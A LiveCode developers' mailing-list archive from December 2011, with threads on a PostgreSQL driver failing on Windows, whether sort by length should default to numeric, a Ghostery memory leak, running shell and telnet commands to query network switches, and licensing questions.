Malte Brill wrote: > Hi all, > > I have no idea why this would fail: > > local tDBConnId > put revOpenDataBase("postgresql","127.0.0.1:5432","grabung","postgres","postgres") > into tDBConnID > put tDBConnID > ?> > > It is working on the Mac. It fails on UBUNTU and Windows. Return value is > > revdberr, invalid database type > > Is this some sort of case sensitivity the mac is agnostic of? Lost once > again... > > All help much appreciated, > > Malte Is the database also running on Ubuntu and Windows, or only on the Mac? Just noticing that your IP address is for a localhost. ?Roger From revolution at derbrill.de Tue Dec 13 08:25:57 2011 From: revolution at derbrill.de (Malte Brill) Date: Tue, 13 Dec 2011 14:25:57 +0100 Subject: livecode server, postgres In-Reply-To: References: Message-ID: <96ADD050-3AC3-4729-8E2D-7239968506F6@derbrill.de> Hi Roger, each machine has its own Database Server, so localhost would be correct. I can connect to the database on each machines localhost. I got the UBUNTU server running again, now it is only the windows machine that is acting up. I reinstalled apache and updated to the 5.0 engine to no avail. Seems the .dll does not get loaded. I can connect to mysql, sqllite and ODBC complains with a different error message. just postGres returns invalid database type now. Simplified the script to this: --> Reports "Can't connect to MySQL server as there is none, but the external is working --> invalid database type --> 1 --> some MS error about not finding the datasource... Grmbl... Thanks for your time anyway! Malte From revolution at derbrill.de Tue Dec 13 08:43:23 2011 From: revolution at derbrill.de (Malte Brill) Date: Tue, 13 Dec 2011 14:43:23 +0100 Subject: livecode server, postgres In-Reply-To: References: Message-ID: <760F66C5-3450-4404-899D-18586A06E7D7@derbrill.de> I have now replaced dbpostgresql.dll in my CGI bin with the one that comes with the liveCode IDE and TADA it connects. Maybe it is just broken in Servers zip archive... Hmmmm.... Cheers, Malte From analog_test at runbox.com Tue Dec 13 12:00:23 2011 From: analog_test at runbox.com (Van Brollini) Date: Tue, 13 Dec 2011 10:00:23 -0700 (MST) Subject: livecode server, postgres In-Reply-To: <760F66C5-3450-4404-899D-18586A06E7D7@derbrill.de> References: <760F66C5-3450-4404-899D-18586A06E7D7@derbrill.de> Message-ID: Please, Do you have any idea as to why my mac version tells me I don't have a license and I am pretty sure I do, having upgraded in october. thanks in advance, van ----- Start Original Message ----- Sent: Tue, 13 Dec 2011 14:43:23 +0100 From: Malte Brill To: use-livecode at lists.runrev.com Subject: Re: Re: livecode server, postgres > I have now replaced dbpostgresql.dll in my CGI bin with the one that comes with the liveCode IDE and TADA it connects. Maybe it is just broken in Servers zip archive... > > > Hmmmm.... > > Cheers, > > Malte > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > ----- End Original Message ----- From bobs at twft.com Tue Dec 13 12:26:21 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 13 Dec 2011 09:26:21 -0800 Subject: sort by length of line (Weird) In-Reply-To: <102200564140.20111212180820@ahsoftware.net> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> <5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> <24C3D5FE-3C54-433C-B0D8-D022A60D168F@twft.com> <102200564140.20111212180820@ahsoftware.net> Message-ID: <24C687D7-7B48-4D9D-A2F0-FF3063766585@twft.com> I went to bed thinking about this. Think about what would have to happen for Livecode to conclude this needed to be a numeric sort: It would have to evaluate every line in the sort, and if it found just one line that was not a number, it would have to then use a text sort. What if the list was 10,000 lines long? Seems like a lot of overhead. What if the items were dates? What if they were mixed? So what the devs did it seems to me is said, "Everything is a text sort unless explicitly stated otherwise." That makes a lot more sense to me, because it's behavior is predictable. I cringe at commands and functions that change the way they behave based upon the nature of the data they are working with. You will say, "But doesn't the add command do just that?" To which I would reply, "Yes, but it's a command that can ONLY work with numbers." Bob On Dec 12, 2011, at 6:08 PM, Mark Wieder wrote: > Bob- > > Monday, December 12, 2011, 3:56:31 PM, you wrote: > >> It is doing just that, only it's doing a text sort of the numbers: >> 1 >> 10 >> 100 >> 11 >> 12 >> etc. > > Yes, and that's just wrong. I can think of no problem for which that > is the solution. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at mollysrevenge.com Tue Dec 13 12:29:09 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 13 Dec 2011 09:29:09 -0800 Subject: sort by length of line (Weird) In-Reply-To: <16200686859.20111212181023@ahsoftware.net> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> <5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> <24C3D5FE-3C54-433C-B0D8-D022A60D168F@twft.com> <8CE874C4002CB32-1124-ABD09@webmail-m145.sysops.aol.com> <16200686859.20111212181023@ahsoftware.net> Message-ID: Hi Mark, Looks like your bug report got changed to an enhancement request with not much chance of happening (reading between the lines). On Mon, Dec 12, 2011 at 6:10 PM, Mark Wieder wrote: > Craig- > > Monday, December 12, 2011, 5:18:26 PM, you wrote: > > > I'm OK with it. > > I'm sort of OK with it because there's a simple way to get the desired > answer. But I filed bug 9910 requesting the simplified syntax with > "numeric" being optional. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From bobs at twft.com Tue Dec 13 12:30:12 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 13 Dec 2011 09:30:12 -0800 Subject: [OT] Ghostery In-Reply-To: <4EE6D92E.5080006@hyperactivesw.com> References: <4E394A4E.2010201@fourthworld.com> <4E396EAE.3030706@hyperactivesw.com> <4EE6D92E.5080006@hyperactivesw.com> Message-ID: <8D3CE7B0-552B-49B3-92A5-079F7494FDEB@twft.com> A long time ago I noticed a memory leak, albeit a small one in Safari. Later I discovered it was a known problem, but it wasn't fixed for several versions thereafter. Maybe Apple thought it was so small that it didn't merit attention. By the time they fixed it I had given up and went with Firefox. Bob On Dec 12, 2011, at 8:48 PM, J. Landman Gay wrote: > On 12/12/11 5:26 PM, Robert Brenstein wrote: > >> Has anyone noticed a memory leak when using Ghostery in Safari? Snow >> Leopard 10.6.8, Safari 5.1.2. When Ghostery is inactive, the memory >> stays low for days. With Ghostery, I seem to have a slow leakage which >> accelates at some point. It might not be Ghostery itself, of course, but >> some combination of programs but Ghostery is definitely involved. > > I only run it in FireFox so I can't really say, but I do keep FF open for weeks or more at a time and haven't had any issues. But I know that doesn't prove anything. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Tue Dec 13 12:35:56 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 13 Dec 2011 09:35:56 -0800 Subject: Running a multiline shell command In-Reply-To: References: <2A3ACFA7-B461-4A2C-B038-93541AF922FE@twft.com> <75226E97-D3B0-492B-A132-AE19D2E1B3EF@twft.com> <443C5E4D-3541-422F-89CE-D8B3862FBF2C@twft.com> Message-ID: Oh interesting. I've been suspecting it was the particular shell that Livecode uses by default (I learned that from prior posts). Also, does using variables like that mask the actual username and password in the shell window? the downside to my method is that it opens a new shell window and then merrily echo's everything including the user name and password, there for everyone to see. Since I am not activating Terminal, it runs in the background, but that is no guarantee that no one will see it. Bob On Dec 13, 2011, at 4:00 AM, Bernard Devlin wrote: > How about if you set the shellCommand so that instead of pointing to > "/bin/sh" it points to "/bin/tcsh", or even have the shellCommand set to > point to "/usr/bin/telnet" itself. > > There are definitely some oddities with OS X and line endings (I seem to > remember Mark Schonewille explaining it to me some years back (you can see > the oddity by writing out a file in LC with "CR"s at the end of the line, > then using "more" in the shell to list the file back (it will have ^M at > the end of the lines if I remember correctly). > > I would imagine that you need to have the same numToChar() characters at > the end of your script as would be expected on the device into which you > are telnetting. > > You could also look at using the HEREDOC technique (the code between < ... EOF, in the first example listed here): > > http://www.daniweb.com/software-development/shell-scripting/threads/131047 > > Bernard From ambassador at fourthworld.com Tue Dec 13 12:31:28 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Tue, 13 Dec 2011 09:31:28 -0800 Subject: sort by length of line (Weird) In-Reply-To: <16200686859.20111212181023@ahsoftware.net> References: <16200686859.20111212181023@ahsoftware.net> Message-ID: <4EE78BF0.7060708@fourthworld.com> Mark Wieder wrote: > I'm sort of OK with it because there's a simple way to get the desired > answer. But I filed bug 9910 requesting the simplified syntax with > "numeric" being optional. Respectfully, I think it may be asking a bit much of the engine - and perhaps the scripter - to expect the engine to make that sort of guess correctly in all cases. When we write: sort myList by length(each) ...what we're asking the engine to do is two steps: 1. Obtain a list of integers representing the length of each line 2. Sort that list While both instructions appear in the same statement, they're pretty much independent of one another, effectively the same as if they were on separate lines: get LineLengths(myList) -- some function that works on the list sort it So in effect, request #9910 is asking for the engine to examine the values of any list passed to the sort command, and if it finds that they're all integers then sort then numerically rather than alphabetically. On the one hand I agree this would be convenient, since most of the time that we do sorts on lists consisting of only integers we're doing so numerically. But on the other hand it's quite a departure from the established sort convention in LiveCode, in which it always sorts alphabetically unless it's explicitly told to do otherwise. If this request were implemented as requested, it would introduce a "sometimes" rule, in which the engine sometimes sorts alphabetically and sometimes not, and the developer would have to keep track of their data to reliably know what the engine will choose to do. Taking the request a step further, we might reasonably expect a list of dates to be sorted by dateTime, but once again if this were the default behavior we'd have to monitor our data to know what the engine's default behavior would be. At a minimum, it may be useful to have changes in the default sorting behavior governed by a global property, something like "the smartsort", which would only introduce this "sometimes" rule once it's set, and otherwise preserve the requirement for explicit sort typing which has characterized the language thus far. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From rjb at robelko.com Tue Dec 13 12:59:53 2011 From: rjb at robelko.com (Robert Brenstein) Date: Tue, 13 Dec 2011 18:59:53 +0100 Subject: [OT] Ghostery In-Reply-To: References: <4E394A4E.2010201@fourthworld.com> <4E396EAE.3030706@hyperactivesw.com> Message-ID: On 12.12.2011 at 15:59 Uhr -0800 Bob Sneidar apparently wrote: >Wild turkey guess off the top of my head: Some "web bugs" as Jacque >put it do not like being blocked and try to re-establish themselves, >and they are what is leaking. > >Bob That would be too simple. Unfortunately, the problem is same with and without blocking. On 13.12.2011 at 9:30 Uhr -0800 Bob Sneidar apparently wrote: >A long time ago I noticed a memory leak, albeit a small one in >Safari. Later I discovered it was a known problem, but it wasn't >fixed for several versions thereafter. Maybe Apple thought it was so >small that it didn't merit attention. > >By the time they fixed it I had given up and went with Firefox. > >Bob The leaked memory is not allocated to any specific program. The yellow and blue areas in Activity Monitor get bigger and bigger and green smaller. I have 8 GB and am down to 150 mb free when I should have 4 GB free. Simply restarting Safari does not help. I need full restart. No problem if Ghostery is off. Or the leak is then so small that it is not noticeable. Anyway, I brought this here only because Jacque mentioned Ghostery on the list and that is when I started using it. Robert From coiin at verizon.net Tue Dec 13 13:04:50 2011 From: coiin at verizon.net (Colin Holgate) Date: Tue, 13 Dec 2011 13:04:50 -0500 Subject: sort by length of line (Weird) In-Reply-To: References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> <5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> <24C3D5FE-3C54-433C-B0D8-D022A60D168F@twft.com> <8CE874C4002CB32-1124-ABD09@webmail-m145.sysops.aol.com> <16200686859.20111212181023@ahsoftware.net> Message-ID: <6BAEE99E-BBDB-4EBE-99A2-372E02FFF686@verizon.net> How did you sort those lines, before reading between them? On Dec 13, 2011, at 12:29 PM, Pete wrote: > Looks like your bug report got changed to an enhancement request with not > much chance of happening (reading between the lines). From pete at mollysrevenge.com Tue Dec 13 13:05:05 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 13 Dec 2011 10:05:05 -0800 Subject: sort by length of line (Weird) In-Reply-To: <24C687D7-7B48-4D9D-A2F0-FF3063766585@twft.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> <5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> <24C3D5FE-3C54-433C-B0D8-D022A60D168F@twft.com> <102200564140.20111212180820@ahsoftware.net> <24C687D7-7B48-4D9D-A2F0-FF3063766585@twft.com> Message-ID: I think Mark's point is specifically to do with the length function which can only return a numeric value. The suggestion is that the sort command should be smart enough to know that and automatically use a numeric sort (unless overridden) since it's not possible for text data to be produced. I assume the enhancement request applies to any function that is only capable of returning a numeric value used in a sort statement, kinda like your ADD example. Pete On Tue, Dec 13, 2011 at 9:26 AM, Bob Sneidar wrote: > I went to bed thinking about this. Think about what would have to happen > for Livecode to conclude this needed to be a numeric sort: It would have to > evaluate every line in the sort, and if it found just one line that was not > a number, it would have to then use a text sort. What if the list was > 10,000 lines long? Seems like a lot of overhead. What if the items were > dates? What if they were mixed? > > So what the devs did it seems to me is said, "Everything is a text sort > unless explicitly stated otherwise." That makes a lot more sense to me, > because it's behavior is predictable. I cringe at commands and functions > that change the way they behave based upon the nature of the data they are > working with. > > You will say, "But doesn't the add command do just that?" To which I would > reply, "Yes, but it's a command that can ONLY work with numbers." > > Bob > > > On Dec 12, 2011, at 6:08 PM, Mark Wieder wrote: > > > Bob- > > > > Monday, December 12, 2011, 3:56:31 PM, you wrote: > > > >> It is doing just that, only it's doing a text sort of the numbers: > >> 1 > >> 10 > >> 100 > >> 11 > >> 12 > >> etc. > > > > Yes, and that's just wrong. I can think of no problem for which that > > is the solution. > > > > -- > > -Mark Wieder > > mwieder at ahsoftware.net > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From bobs at twft.com Tue Dec 13 13:12:48 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 13 Dec 2011 10:12:48 -0800 Subject: sort by length of line (Weird) In-Reply-To: <6BAEE99E-BBDB-4EBE-99A2-372E02FFF686@verizon.net> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> <5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> <24C3D5FE-3C54-433C-B0D8-D022A60D168F@twft.com> <8CE874C4002CB32-1124-ABD09@webmail-m145.sysops.aol.com> <16200686859.20111212181023@ahsoftware.net> <6BAEE99E-BBDB-4EBE-99A2-372E02FFF686@verizon.net> Message-ID: You have to read between them to know how not to sort. Bob On Dec 13, 2011, at 10:04 AM, Colin Holgate wrote: > How did you sort those lines, before reading between them? > > > On Dec 13, 2011, at 12:29 PM, Pete wrote: > >> Looks like your bug report got changed to an enhancement request with not >> much chance of happening (reading between the lines). > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From andre at andregarzia.com Tue Dec 13 13:16:11 2011 From: andre at andregarzia.com (Andre Garzia) Date: Tue, 13 Dec 2011 16:16:11 -0200 Subject: livecode server, postgres In-Reply-To: References: <760F66C5-3450-4404-899D-18586A06E7D7@derbrill.de> Message-ID: Malte, This will sound stupid but too often I type the database type capitalized such as MySQL and Postgres, this will break under Linux because the file system is case-sensitive. It will look for dbMySQL.so instead of the correct dbmysql.so. Also, under linux you can: ldd dbpostgres.so And check for missing library dependencies. =) From pete at mollysrevenge.com Tue Dec 13 13:45:59 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 13 Dec 2011 10:45:59 -0800 Subject: sort by length of line (Weird) In-Reply-To: <6BAEE99E-BBDB-4EBE-99A2-372E02FFF686@verizon.net> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> <5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> <24C3D5FE-3C54-433C-B0D8-D022A60D168F@twft.com> <8CE874C4002CB32-1124-ABD09@webmail-m145.sysops.aol.com> <16200686859.20111212181023@ahsoftware.net> <6BAEE99E-BBDB-4EBE-99A2-372E02FFF686@verizon.net> Message-ID: Nice! I wish that had been a conscious play on words. On Tue, Dec 13, 2011 at 10:04 AM, Colin Holgate wrote: > How did you sort those lines, before reading between them? > > > On Dec 13, 2011, at 12:29 PM, Pete wrote: > > > Looks like your bug report got changed to an enhancement request with not > > much chance of happening (reading between the lines). > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From revolution at derbrill.de Tue Dec 13 14:24:40 2011 From: revolution at derbrill.de (Malte Brill) Date: Tue, 13 Dec 2011 20:24:40 +0100 Subject: livecode server, postgres [Van Brollini] In-Reply-To: References: Message-ID: Dear Van, I guess you are referring to animationEngine. What you will need to do in liveCode is go to Help-> relicense liveCode. Your license is tied to your liveCode license and thus it must be validated against their server. This lesson shows how it is done: http://lessons.runrev.com/s/lessons/m/4072/l/20141-Why-does-my-LiveCode-act-like-a-Trial-when-I-have-a-full-License- and your animationEngine will be licensed on any computer you are using your LiveCode license on Hope that helps, Malte > please, > any idea as to why my mac program tells me i dont' have license when I upgraded in october? > thanks in advance, > van From mwieder at ahsoftware.net Tue Dec 13 14:29:58 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 13 Dec 2011 11:29:58 -0800 Subject: sort by length of line (Weird) In-Reply-To: <6BAEE99E-BBDB-4EBE-99A2-372E02FFF686@verizon.net> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> <5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> <24C3D5FE-3C54-433C-B0D8-D022A60D168F@twft.com> <8CE874C4002CB32-1124-ABD09@webmail-m145.sysops.aol.com> <16200686859.20111212181023@ahsoftware.net> <6BAEE99E-BBDB-4EBE-99A2-372E02FFF686@verizon.net> Message-ID: <134263062265.20111213112958@ahsoftware.net> Colin- Tuesday, December 13, 2011, 10:04:50 AM, you wrote: > How did you sort those lines, before reading between them? Note to self: file enhancement request for sort between the lines of -- -Mark Wieder mwieder at ahsoftware.net From stephenREVOLUTION2 at barncard.com Tue Dec 13 14:32:30 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Tue, 13 Dec 2011 11:32:30 -0800 Subject: sort by length of line (Weird) In-Reply-To: References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> <5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> <24C3D5FE-3C54-433C-B0D8-D022A60D168F@twft.com> <8CE874C4002CB32-1124-ABD09@webmail-m145.sysops.aol.com> <16200686859.20111212181023@ahsoftware.net> <6BAEE99E-BBDB-4EBE-99A2-372E02FFF686@verizon.net> Message-ID: A downside with plain english style programming code methods is that this can lead to uncontrolled bouts of alliteration, pun-making and double entendre. Basic and COBOL people don't talk that way. On 13 December 2011 10:45, Pete wrote: > Nice! I wish that had been a conscious play on words. > > On Tue, Dec 13, 2011 at 10:04 AM, Colin Holgate wrote: > > > How did you sort those lines, before reading between them? > > > > > > On Dec 13, 2011, at 12:29 PM, Pete wrote: > > > > > Looks like your bug report got changed to an enhancement request with > not > > > much chance of happening (reading between the lines). > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From mwieder at ahsoftware.net Tue Dec 13 14:41:42 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 13 Dec 2011 11:41:42 -0800 Subject: sort by length of line (Weird) In-Reply-To: References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> <5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> <24C3D5FE-3C54-433C-B0D8-D022A60D168F@twft.com> <102200564140.20111212180820@ahsoftware.net> <24C687D7-7B48-4D9D-A2F0-FF3063766585@twft.com> Message-ID: <73263766640.20111213114142@ahsoftware.net> Pete- Tuesday, December 13, 2011, 10:05:05 AM, you wrote: > I think Mark's point is specifically to do with the length function which > can only return a numeric value. The suggestion is that the sort command > should be smart enough to know that and automatically use a numeric sort > (unless overridden) since it's not possible for text data to be produced. > I assume the enhancement request applies to any function that is only > capable of returning a numeric value used in a sort statement, kinda like > your ADD example. Yeah, that's pretty much the intent of the enhancement request. I can eyeball the statement sort tVar by length(each) and realize that the length function returns numeric values *only*. I think the engine should be smart enough to make this jump as well during the compile optimization process. The engine does do implicit string-to-numeric conversions. And the optimization process already converts case statements and multiple ifs into similar bytecode constructs. I'd like it to do optimization on the sort statement when possible. -- -Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Tue Dec 13 14:43:20 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 13 Dec 2011 11:43:20 -0800 Subject: sort by length of line (Weird) In-Reply-To: References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> <5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> <24C3D5FE-3C54-433C-B0D8-D022A60D168F@twft.com> <8CE874C4002CB32-1124-ABD09@webmail-m145.sysops.aol.com> <16200686859.20111212181023@ahsoftware.net> <6BAEE99E-BBDB-4EBE-99A2-372E02FFF686@verizon.net> Message-ID: <23263863890.20111213114320@ahsoftware.net> stephen- Tuesday, December 13, 2011, 11:32:30 AM, you wrote: > A downside with plain english style programming code methods is that this > can lead to uncontrolled bouts of alliteration, pun-making and double > entendre. Basic and COBOL people don't talk that way. CONTINUE. -- -Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Tue Dec 13 14:50:07 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 13 Dec 2011 11:50:07 -0800 Subject: sort by length of line (Weird) In-Reply-To: <4EE78BF0.7060708@fourthworld.com> References: <16200686859.20111212181023@ahsoftware.net> <4EE78BF0.7060708@fourthworld.com> Message-ID: <89264271375.20111213115007@ahsoftware.net> Richard- Good points all. I'm not requesting that the sort command be smart enough to handle all situations, but this is enough of a confusing point that I think the engine could benefit from some extra smarts. A simple parsing optimization for cases like sort tVar by length(each) could insert the "numeric" specifier without problems. I may write a glx2 macro to do this, expecially since I don't ever expect to see action on enhancement requests. But the point of the request isn't to create a more elegant and streamlined language construct, it's to reduce user confusion and having to think too deeply about what's going on internally in the compiler rather than concentrating on the program being built. -- -Mark Wieder mwieder at ahsoftware.net From bobs at twft.com Tue Dec 13 14:58:35 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 13 Dec 2011 11:58:35 -0800 Subject: Applescript for getting data from a spreadsheet In-Reply-To: References: <9E8E9007-F72A-471F-93EC-4F86BA921557@twft.com> <4A10A87E-3107-4091-8EF1-47C8B9B367D6@twft.com> <0DFC082B-3B9B-4D61-8EA3-A1EBA3D0E59A@twft.com> Message-ID: <0CC80F7F-B893-4D94-A422-50729030EA53@twft.com> Thanks to all who offered help on Applescript and Shell access. I now have a functioning stack that will query a Procurve switch for mac addresses, and compare it to my Spreadsheet data to show me what device is using that mac address, and on which port on the switch it is. Next phase: Go through a list of Procurve switches and plot the path to get to the endpoint. At some point I can add the functionality of querying different kinds of switches. Each switch *can* use a different CLI syntax to get the addresses, and some switches (even managed ones) do not even have a command for that. Some Dell switches come to mind. Some do not allow telnet, so it is not going to be a perfect system, but it will work for my purposes at least, and I will give anyone who wants it a copy of the stack. Bob On Dec 9, 2011, at 4:35 PM, zryip theSlug wrote: > The problem should be in the unix path. > > Try: > set myPath to POSIX file "/Volumes/data/LogosAdmin/TechData/Tech > Documents/DHCP Clients.xlsx" > open workbook workbook file name myPath > > > Best regards, > -- > -Zryip TheSlug- wish you the best! 8) > http://www.aslugontheroad.co.cc From bobs at twft.com Tue Dec 13 15:04:11 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 13 Dec 2011 12:04:11 -0800 Subject: Possible bug setting a watch point Message-ID: <58044EB2-3B6D-4FC6-8FA4-A19595B913B5@twft.com> Hi all. I tried setting a watch on a global variable. I set it to gSiteID <> "00003". Each time I do this Livecode CTD's. I have removed all plugins to verify it's not something with one of those, but the problem persists. Can anyone else verify this happens to them before I attempt a bug report? Bob From scott at tactilemedia.com Tue Dec 13 15:16:03 2011 From: scott at tactilemedia.com (Scott Rossi) Date: Tue, 13 Dec 2011 12:16:03 -0800 Subject: [OT] Delivering Content on Facebook Message-ID: Hi List: I have a client who is interested in implementing a Flash quiz I built in Facebook and I'm looking for some help in figuring out options for this. If anyone out can offer any insight and maybe some consulting time, please contact me off list. Thanks! Regards, Scott Rossi Creative Director Tactile Media, UX Design From analog_test at runbox.com Tue Dec 13 15:41:37 2011 From: analog_test at runbox.com (Van Brollini) Date: Tue, 13 Dec 2011 13:41:37 -0700 (MST) Subject: livecode server, postgres [Van Brollini] In-Reply-To: References: Message-ID: hmm, I only have one license and process did not behave as indicated in license. I think you are correct. Not fixed as yet. thanks van ----- Start Original Message ----- Sent: Tue, 13 Dec 2011 20:24:40 +0100 From: Malte Brill To: use-livecode at lists.runrev.com Subject: Re: livecode server, postgres [Van Brollini] > Dear Van, > > I guess you are referring to animationEngine. What you will need to do in liveCode is go to Help-> relicense liveCode. Your license is tied to your liveCode license and thus it must be validated against their server. This lesson shows how it is done: > http://lessons.runrev.com/s/lessons/m/4072/l/20141-Why-does-my-LiveCode-act-like-a-Trial-when-I-have-a-full-License- > > and your animationEngine will be licensed on any computer you are using your LiveCode license on > > Hope that helps, > > Malte > > > > > please, > > any idea as to why my mac program tells me i dont' have license when I upgraded in october? > > thanks in advance, > > van > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > ----- End Original Message ----- From bobs at twft.com Tue Dec 13 16:14:58 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 13 Dec 2011 13:14:58 -0800 Subject: [OT] Delivering Content on Facebook In-Reply-To: References: Message-ID: I wonder if Facebook has an API published? They must have something. Bob On Dec 13, 